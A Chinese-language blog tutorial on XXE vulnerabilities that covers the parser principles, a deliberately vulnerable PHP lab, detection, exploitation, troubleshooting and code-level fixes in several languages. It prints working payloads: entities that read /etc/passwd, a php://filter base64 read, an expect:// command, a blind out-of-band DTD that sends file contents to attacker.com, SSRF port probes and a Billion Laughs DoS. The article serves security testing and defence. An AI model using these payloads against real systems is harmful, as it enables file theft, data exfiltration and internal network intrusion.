拓十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

XXE漏洞从原理到实战:外部实体注入的检测、利用与防御

XXE漏洞从原理到实战:外部实体注入的检测、利用与防御 做了几年安全测试如果只让我选一个“看起来冷门、实际一打一个准”的漏洞我大概率会选XXE。很多团队把精力全扑在SQL注入和XSS上结果某一天扫出个XML外部实体注入直接懵在原地——这玩意儿到底怎么利用怎么修复危害有多大这篇文章就是把这几年在真实业务里和XXE打交道的经验全盘托出从XML语法基础开始一直讲到盲注利用、工具配合、修复方案。内容比较长建议先收藏再慢慢看遇到项目里需要排查XXE的时候翻出来就能用。先回答一个最常见的疑惑XML外部实体注入到底是个什么量级的漏洞这么说吧只要目标系统存在一处可以解析XML的接口、并且没有禁用外部实体攻击者就能读服务器任意文件、探测内网端口、甚至发起拒绝服务攻击。更麻烦的是很多XXE是“盲的”你请求发出去了响应里看不到任何文件内容得靠外部通道把数据带出来。这类漏洞在重保、众测、SRC提交里都是高危起步拿到就是一笔可观的奖励放在真实业务里往往直接就是服务器沦陷或者核心配置泄露。下面我按自己习惯的思路来拆先理解XML和DTD的本质再上手搭环境复现最后聊挖掘思路和修复方案。每一部分都会配实际代码和踩坑记录尽量把“为什么这么做”也讲清楚。1. XXE到底是个什么东西从一段XML说起1.1 先找个生活化的类比把XML文档想象成一份合同模板。合同正文里有些位置是空白的签合同时需要填上具体内容这里的“位置”就是XML里的实体Entity而合同模板顶部那些“填入规则”的声明区就是DTDDocument Type Definition文档类型定义。正常合同只允许填文字但如果某天你拿到一份合同它的规则允许“从别人提供的资料库里拿内容来填充”——这就是外部实体。攻击者干的坏事无非就是伪造一份带恶意外部实体声明的“合同”骗服务器在解析时把不该给的文件内容填进去。而XXE漏洞的核心就是服务器不但允许外部实体还真的乖乖去加载了连本地文件都肯读。理解这一步很关键XXE不是XML本身的原罪而是解析器的外部实体加载开关默认打开、业务代码又没有限制实体解析范围造成的。说白了解析器把“加载外部资源”这个能力暴露给了不可信的输入漏洞就成立了。1.2 实体与外部实体到底怎么声明先看一个最基本的XML文档长什么样?xml version1.0 encodingUTF-8? !DOCTYPE 订单 [ !ENTITY 公司名 某某科技有限公司 ] 订单 客户公司名;/客户 /订单开头的!DOCTYPE就是DTD声明里面可以用!ENTITY定义一个实体。上面定义的“公司名”属于内部实体值写在声明里引用时用公司名;解析后输出“某某科技有限公司”。这本身没有危险相当于定义了一个变量。真正危险的是外部实体声明格式换成了这样!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo区别就在于SYSTEM关键字后面跟了一个URI。这个URI可以是file:///etc/passwd读取服务器本地文件http://192.168.1.1:8080/让服务器帮忙发一次HTTP请求也就是SSRFphp://filter/readconvert.base64-encode/resource/etc/passwdPHP环境里以Base64编码读取文件解决特殊字符问题expect://id如果装了expect扩展甚至可以执行系统命令这种场景比较少见但一旦碰到就是直接RCE服务器解析到xxe;这个引用时会按照URI去加载对应资源然后把内容替换进去。如果程序把解析后的XML内容输出到页面/etc/passwd就直接看光了。如果程序不输出任何解析结果那就是盲XXE需要另想办法后面专门讲。1.3 触发XXE的前置条件和常见入口不是所有解析XML的地方都能打触发XXE需要满足几个条件程序解析了攻击者可控的XML数据也就是XML内容里带着我们声明的DTD和实体解析器允许DTD处理、允许外部实体加载或者至少没禁止DOCTYPE解析后的结果或者报错信息有一定途径回传有回显或者能通过外部请求拿到数据无回显满足这些条件的入口实际上比想象中多得多。我整理了几类常见场景接口直接接收XML格式的报文老一些的支付回调、OA系统、ESB企业服务总线Content-Type: text/xml直接就是XMLJSON/表单接口里嵌了XML字段有些开发图省事把一段XML塞进一个字段里让后端去解析文件上传后解析上传.xml、.docx、.xlsx这类Office文件后端用POI之类组件解包——注意Office docx/xlsx本质就是zip压缩包里面的XML文件通过修改包内XML插入恶意实体这是XXE的高发区第三方接口回调对接微信支付、支付宝、企业服务时回调报文解析不到位SOAP接口基于XML的WebService一旦反序列化实体没关问题就来了平时做渗透或者自查看到接口返回Content-Type: application/xml、text/xml或者接口文档里写“报文格式为XML”的都可以重点盯一下。这两年国产OA类系统频繁曝出XXE漏洞根因大多就是第三方XML解析库没做安全配置属于非常典型的“依赖默认配置”问题。2. 一步一步复现XXE核心攻击场景与payload设计2.1 环境准备一个最小的PHPXML靶场文章里直接起一个生产环境不太现实但为了验证payload花两分钟本地搭一个“漏洞靶机”是非常值得的。我自己习惯用PHP内置服务器因为它对DTD和外部实体的支持默认就开着复现起来最快。先写一个接收XML并解析的PHP文件?php // xxe_lab.php $data file_get_contents(php://input); $dom new DOMDocument(); // 关键LIBXML_NOENT 表示将实体替换为内容 // LIBXML_DTDLOAD 表示允许加载外部DTD子集 $dom-loadXML($data, LIBXML_NOENT | LIBXML_DTDLOAD); $result $dom-textContent; echo 解析结果: . $result; ?然后命令行启动php -S 127.0.0.1:8080用curl模拟攻击请求curl -X POST http://127.0.0.1:8080/xxe_lab.php -d ?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo如果一切正常终端会回显解析结果: root:x:0:0:root:...。看到这一行说明XXE成功读到了文件。这里有一个值得强调的细节不是所有PHP XML解析函数都有同样的行为。simplexml_load_string、DOMDocument、XMLReader都能解析XML但默认是否加载外部实体取决于PHP版本、配置、以及是否显式传入LIBXML_NOENT等选项。这就是为什么同一个业务系统里有些接口能打、有些接口打不了的原因。做测试时不要一个payload走天下同一个接口换了解析函数结果可能天差地别。2.2 场景一任意文件读取有回显文件读取是理解XXE最简单直观的场景。请求里带一个外部实体指向file://协议服务器解析后把文件内容渲染在响应里。?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo读文件时最容易踩的坑有两个一是路径不对file:///etc/passwd是Linux绝对路径Windows下要写成file:///C:/windows/win.ini二是文件内容里含有XML特殊字符比如/etc/passwd里如果某行有或者小于号XML解析器会直接报“解析错误”内容根本带不回来。针对第二个坑在PHP环境里可以配合php://filter流处理!DOCTYPE foo [ !ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd ] fooxxe;/foo注意我们声明的是php://filter流它会先对文件做Base64编码再交给XML解析器这样文件里的特殊字符就不会破坏XML结构。响应里看到的一串Base64拿去解码就是原始文件内容。这个技巧非常好用读配置文件、读源码时几乎必用。不过要说明一点php://filter只对PHP有效。Java环境更推荐jar://、netdoc://或者http://协议去读取具体协议要看解析器支持范围。所以XXE利用往往要“因地制宜”拿到目标后先试协议再决定读什么。2.3 场景二无回显怎么办——OOB带外数据通道实际项目中遇到的XXE十有八九是盲目利用也就是服务器解析了XML但响应里完全不显示文件内容。这时候就得让服务器把数据主动“带出来”——这就是OOBOut-of-Band带外数据通道。思路概括成一句话把读到的文件内容拼进一个外部请求URL让服务器去请求攻击者可控的服务器。攻击者这边监听HTTP日志数据自然传过来了。需要一个步骤分解攻击者准备一个恶意DTD文件放在自己的VPS上假设地址是http://attacker.com/evil.dtdPayload里引用这个外部DTD触发服务器去加载它恶意DTD定义了嵌套实体把目标文件内容通过HTTP请求发送到http://attacker.com/log?data...攻击者的HTTP日志里就能看到带出来的文件内容具体payload这样写。先看主XML请求?xml version1.0? !DOCTYPE foo [ !ENTITY % xxe SYSTEM http://attacker.com/evil.dtd %xxe; ] fooblah/foo再看evil.dtd里的内容!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/log?data%file; %eval; %exfil;这里有两个容易把人绕晕的细节。第一file实体在DTD中引用时前面要加百分号%file;这是参数实体的语法和正文里的xxe;引用不一样。第二eval实体里嵌套定义了另一个实体exfil而exfil的URL里拼接了%file;——为了让%file;在DTD加载阶段就完成替换必须用#x25;来表示百分号否则写法会冲突解析器根本不会按你想的那样执行。实操时注意盲XXE的链路比较长链路里任何一环断了数据都出不来。我自己遇到过最常见的情况是目标服务器所在网络禁外联HTTP请求出不去此时可以试试DNS外带也就是构造类似data.attacker.dnslog.cn的域名利用DNS查询把数据带出来门槛低一些但数据长度受限文件太大的话只能分段慢慢带。2.4 场景三SSRF与内网探测除了读文件XXE另一个高频利用方向是SSRF服务端请求伪造。原理依然很简单外部实体指向一个内网地址服务器端就会替攻击者发起请求这样相当于拿到了一个“内网探测神器”。举个例子想探测内网某台机器端口是否开放!DOCTYPE foo [ !ENTITY xxe SYSTEM http://192.168.1.1:8080/ ] fooxxe;/foo如果请求响应时间很短并且返回了特定内容说明端口开放如果报连接超时或解析错误大概率端口不通。更进阶的玩法是结合gopher://协议去打内网的Redis、FastCGI等无鉴权服务达到RCE效果。不过gopher协议在Java里不可用PHP里也要看扩展和限制不能指望每个目标都支持。这里要提醒一句用XXE做SSRF本质上是让目标服务器当你的“跳板”一旦目标有内网隔离扫描流量都会以目标身份发起追踪链路比较长。做授权测试时应该优先用最小权限、窄范围的探测避免对内网造成大面积影响这也是安全从业者应该有的职业底线。2.5 场景四Billion Laughs与文件读取失败时的替代思路Billion Laughs十亿笑是一个非常经典的XML实体递归攻击。它通过实体嵌套指数级膨胀消耗服务器内存和CPU达到DoS效果?xml version1.0? !DOCTYPE lolz [ !ENTITY lol lol !ENTITY lol1 lol;lol;lol;lol;lol;lol;lol;lol;lol;lol; !ENTITY lol2 lol1;lol1;... ] lolzlol9;/lolz从单个字符膨胀到GB级别只是几层嵌套的事。这种攻击利用的是外部实体和内部实体递归扩展不需要出网、不需要文件读取权限只要解析器去解析实体就中招。加上很多系统解析器默认没做实体扩展限制防护起来反而比OOB复杂。对防御方来说限制实体数量、禁用DTD才是根本解法。还有一个容易忽略的点文件读取失败的场景。有时候目标能出网、能请求外网但file://协议就是不生效可能是解析器禁用了本地文件读取。这时候依然有利用空间——只要外部实体可以请求HTTP就能用它做端口探测、读取Web目录下的标识文件等。不要死磕文件读取换一种思路往往柳暗花明。3. 挖掘XXE的思路与工具从黑盒到半自动化3.1 黑盒场景下怎么发现XXE黑盒测试里找XXE核心动作就是“往所有可能有XML解析的地方丢一段带外部实体的XML”。具体执行起来有几个顺序第一抓包看请求头和请求体。Content-Type: application/xml、text/xml、application/soapxml基本是直给信号。很多老系统接口地址里还带.xml、.do、.wsdl这种后缀都是待测点。第二对接收JSON的接口也可以稍作改动把Content-Type换成application/xmlbody改成XML结构看后端是否依然能正常解析。这种“降维打击”在接口设计不规范的系统里成功率很高因为很多框架自动化绑定了多种消息格式。第三文件上传点不要放过。尤其.xml文件直接原样上传解析的情况上传后会触发后端解析如果解析结果在前端有展示路径就有回显没展示就配合OOB。.docx/.xlsx则要先解压、修改其中的XML、再重新打包上传同样能触发。第四拦截响应观察状态码差异。一旦发现某个接口对XML请求返回了不同的状态码或响应体立刻用file:///etc/passwd这种明确payload验证尽量减少误报。3.2 Burp Suite协作与OOB监听我做盲XXE时常用的组合是Burp Suite 一个支持HTTP日志的监听服务。Burp本身有Collaborator协作服务器功能可以自动接收DNS和HTTP请求识别外带通道非常方便这就是一个开箱即用的OOB监听器。具体流程是先在Collaborator客户端生成一个子域名比如xxxxx.oastify.com。然后在盲XXE的payload里把外带目标从固定IP换成这个子域名!ENTITY % eval !ENTITY #x25; exfil SYSTEM http://data.xxxxx.oastify.com/?content%file;发完请求后回到Collaborator面板如果能收到DNS或HTTP交互记录说明目标确认存在外部实体加载。接下来要做的就是逐步调试把想要的文件内容拼进请求参数里。值得注意的一个细节不要一上来就把整个大文件塞进URL。URL长度有限制文件内容含有的特殊字符也容易把请求搞坏。更稳妥的做法是先外带一小段明确存在的内容比如/etc/passwd的第一行验证链路通畅后再读重要文件必要时用php://filterBase64编码后分段截取。这个调试思维能帮你少走很多弯路。3.3 一个真实的判断片段分享一个实战片段某次授权测试一个后台的“同步数据”功能接受XML报文。我第一次直接丢带file:///etc/passwd的实体响应没看到文件内容但请求超时了大概3秒。超时本身说明解析器可能尝试去加载某个资源但文件读取没成功。我改用OOB方案时发现外部请求确实能发出但Collaborator没有收到域名解析记录——证明请求发出了但目标服务器不出网。这时候我就把方向切到了SSRF用外部实体请求内网的Web管理端口通过响应时间差异判断端口开放情况。最终通过这条链路确认了内网某台运维机器开了敏感服务写报告时顺手把这个XXE升级成了高严重级别。这个案例想表达的是XXE的判断不能只盯“有没有回显文件内容”这一种表现。响应延迟、报错差异、外部请求到达状态都是有力的判断线索。做测试时头脑里要有“状态机”有回显走文件读取无回显走OOBOOB不通就试SSRF和DoS层层下探。4. 常见问题与排错记录4.1 经典报错复盘我在项目里和带新同事时遇到过大量“XXE打不通”的问题其中几个复现率特别高单独整理出来。第一个是高危报错DOCTYPE improperly terminated。这通常是XML声明和DTD格式不规范导致的。比如!DOCTYPE foo [写成了DOCTYPE foo [或者实体定义结尾少了个。遇到这种报错先别怀疑漏洞不存在仔细检查payload语法。XML对格式极其敏感哪怕多一个空格都可能改变语义。第二个是接收不到OOB请求。最常被忽略的原因是实体引用没有真正被触发。很多人写盲XXE payload时只定义了参数实体、声明了%xxe;但忘了在正文里加xxe;这种普通实体引用或者忘了在DTD里执行%eval;导致链路根本没走通。建议先按部就班照抄可用的payload再逐步修改成自己的地址不要“凭感觉”删改结构。第三是文件读取总是报解析错误。这种情况八九成是文件内容包含了XML特殊字符比如源码里的、、单双引号等。解决办法就是上Base64编码流PHP环境或者换用file://直接读那些不含特殊字符的配置文件先确认漏洞存在再说。第四是IDE或编辑器编码问题尤其在Windows环境测试时curl命令里粘贴的XML可能变成全角字符或带BOM头导致解析器报“Content is not allowed in prolog”。建议把payload先存成.txt文件用curl -d payload.txt发送避免命令行转义和编码问题。4.2 问题排查速查表现象可能原因排查方向请求返回400或XML解析错误DTD语法错误、实体引用未声明检查DOCTYPE闭合、实体引用格式有响应但看不到文件内容解析器禁用外部实体或实体被替换为空换协议尝试或改用OOB验证外部请求发不出去目标网络禁外联尝试DNS外带或改为SSRF探测内网Collaborator收到DNS但无HTTP请求发出但协议限制换HTTP明文端口确认防火墙策略响应明显变慢或内存暴涨实体递归膨胀导致DoS确认是Billion Laughs攻击立即止损文件内容里有XML特殊符号导致解析中断内容未经编码用php://filterBase64或者分段读取本地测试有漏洞、目标打不通目标解析器版本较新、默认安全配置换不同解析函数触发点再测这张表是我自己排查时的“肌肉记忆”实际用起来能省不少时间。很多新手在第一步“有响应但看不到文件内容”时就放弃了其实只要换OOB方案结果往往完全不同。4.3 几个容易被忽略的“反直觉”细节排雷排得多了总结几个反直觉但很实用的经验。一是外部实体不一定非要在SYSTEM后面写URL写本地路径也可以。比如!ENTITY xxe SYSTEM /etc/passwd在某些解析器里也能读文件路径形式比file://更“土”反而可能绕过一些简单的WAF正则。二是有些解析器默认忽略外部实体但支持参数实体。这意味着普通xxe;外带不通但OOB链路反而能走通。所以判断漏洞存在与否必须同时测普通外部实体和参数实体两条路径不能因为其中一条失败就下结论。三是解析失败本身也是信息。同样一个请求在正常解析和禁用了DTD的解析器上报错信息可能完全不同前者可能报“Entity not found”后者直接报“DOCTYPE is disallowed”。不同报错的差异可以作为判断解析器配置的依据方便后续选payload。5. 修复与纵深防御从代码到架构5.1 代码层修复不同语言怎么关掉外部实体代码层修复的核心原则只有一句话解析不可信XML时禁用DTD和外部实体。但落实到具体语言和库写法差异很大这里给出常用语言的配置示例。Java中使用DocumentBuilderFactory时DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); // 以下两行是修复关键 dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);第一行直接禁止DTD声明是最彻底的方案。如果业务确实需要合法使用DTD再用后两行关闭外部实体加载。Python中使用lxml时from lxml import etree parser etree.XMLParser( resolve_entitiesFalse, # 不解析实体 no_networkTrue, # 禁止网络访问 load_dtdFalse # 不加载DTD ) tree etree.fromstring(xml_data, parserparser)PHP中的修复比较特殊。如果用的是老版本libxml_disable_entity_loader(true);PHP 8.0以上版本中libxml_disable_entity_loader被废弃默认配置下外部实体加载已经默认关闭但依然建议显式控制LIBXML_NONET选项并注意不传入LIBXML_NOENT和LIBXML_DTDLOAD。C#/.NET中使用XmlReader时var settings new XmlReaderSettings { DtdProcessing DtdProcessing.Prohibit, // 禁用DTD XmlResolver null // 不解析外部资源 }; using var reader XmlReader.Create(new StringReader(xml), settings);这里有个容易被忽视的坑XmlResolver null和DtdProcessing.Prohibit需要同时设置。只禁DTD但留着XmlResolver有些解析器还是可能通过其他路径加载外部资源。5.2 WAF和架构层怎么补位代码修复做得再好历史接口多、迭代频繁难免有漏网之鱼。WAF和架构层面的补位就很重要。WAF层面重点拦截两类特征请求体里出现!DOCTYPE或!ENTITY以及Content-Type声明为XML却带外部实体URL的请求。不过WAF容易被绕过编码变形、参数实体、嵌套实体等花样都很难用正则覆盖全面所以WAF只能作为辅助手段不能替代代码修复。架构层面更推荐“白名单”思维XML解析服务单独部署在隔离区出网策略默认拒绝内部网络做最小权限划分。这样一来即便某个接口存在XXE攻击者也很难把数据外带出来攻击链就地折断。实际运维中我见过不少案例漏洞明明存在但因为目标机器无法访问外网最终利用失败这就是网络层纵深防御带来的实际价值。另外能不用XML就尽量不用XML。现在JSON已经能覆盖绝大多数数据交换场景新项目直接选JSON旧项目能迁移尽量迁移。这不是“逃避”而是在源头上缩减攻击面。5.3 安全测试视角的验收清单最后从测试者视角给一份可操作的验收清单做完这些项才能确认XXE修复到位发送带!DOCTYPE的请求确认返回“DOCTYPE is disallowed”或等价报错而不是正常解析发送带外部实体的请求确认不触发外网请求上传修改过的.docx/.xlsx文件确认Office XML解析链路不受影响检查全站是否存在自动解析XML的接口尤其是文件上传和回调接口确认解析XML的依赖库版本已升级到修复版本或做了安全配置我在项目验收时经常发现开发只修复了主接口但文件上传点、回调点这些“边角料”接口依然是漏洞状态。所以验收不能只测已知入口要顺着数据流把每一个可能触达XML解析的地方都过一遍。最后分享一点自己的体会做XXE测试这几年最大的感受是“原理简单细节磨人”。一套payload在靶场跑通只要一分钟但放到真实业务里协议限制、编码问题、解析器差异、网络策略都会让利用链路变得曲折。我建议新手别急着追求高阶利用先把文件读取、OOB两步彻底搞明白形成肌肉记忆再考虑SSRF和组合拳。踩过几次坑之后你会慢慢发现XXE的“手感”其实是一种对解析器行为的敏感度——看到报错能猜出是语法问题还是策略拦截看到超时能想到是网络不通还是资源不存在。这种敏感度没法速成只能靠一次次真实的请求、一次次日志复盘喂出来。本文里的payload和排查表可以直接拿去参考但真正变成自己的东西还是要回到实战里去验证、去调整。
返回列表